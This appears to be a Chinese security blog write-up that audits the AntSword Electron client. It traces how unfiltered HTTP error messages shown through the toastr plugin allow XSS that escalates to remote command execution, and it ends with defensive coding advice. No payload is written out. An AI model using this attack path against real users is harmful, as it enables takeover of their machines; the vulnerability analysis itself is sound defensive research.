在104行发现,新建了一个网络请求,并且将返回对象赋予_request参数,从94行的注释也能发现这里应该实现的应该给是发起网络请求的功能,所以从这里开始追踪_request变量。

图片.png
从123行到132行是发网络请求,并且151行,当产生错误的时候会传递一个request-error错误,并且传递了错误信息,并且之后的代码也是相同的错误处理,于是全局搜索request-error。

图片.png
很明显,跟进base.js
图片.png
这里定义了一个request函数,封装好了http请求,在监听到request-error-事件的时候会直接返回promise的reject状态,并且传递error信息,ret变量就是上面传递过来的err, rej就是promise的reject,不懂promise的可以去看看promise。然后由之后调用此request函数的catch捕获。所以全局搜索request函数

图片.png
在搜索列表里发现有database,filemanager,shellmanager等文件都调用了request函数,由于蚁剑的shell先会列目录文件,所以第一个网络请求可能是发起文件或目录操作,而我们的错误信息就是在第一次网络请求后面被输出,所以跟进filemanager
图片.png
在140行注释发现了获取文件目录的函数,审计函数

图片.png
在166行发现了调用了request函数,204行用catch捕获了前面promise的reject,并且将err错误信息json格式化并传递给toastr.error这个函数。
toastr是一款轻量级的通知提示框Javascript插件,下面是这个插件的用法

图片.png
看看上面蚁剑输出的错误信息,是不是发现了点什么。

图片.png
这个插件在浏览器里面也是默认不会进行xss过滤的。由于错误信息包含了http返回包的状态码和信息,所以我们构造恶意http头,前端通过toastr插件输出即可造成远程命令执行。

总结

由于http的错误信息输出点混杂在了逻辑函数中,相当于控制器和视图没有很好地解耦,开发者虽然对大部分的输出点进行的过滤,但是由于这个输出点比较隐蔽且混淆在的控制层,所以忽略了对此报错输出的过滤,并且错误信息是通过通知插件输出,更增加了输出的隐蔽性。开发人员在使用类似插件的时候应该了解插件是否对这类漏洞做了过滤,不能过度信赖第三方插件,并且在编写大型项目的时候,视图层和控制层应该尽可能的分离,这样才能更好进行项目的维护。
对于electron应用,开发者应该了解xss的重要性,electron应用的xss是直接可以造成系统RCE的,对于用户可控输出点,特别是这种远程可控输出点,都必须进行过滤。

- Read More -
This is just a placeholder img.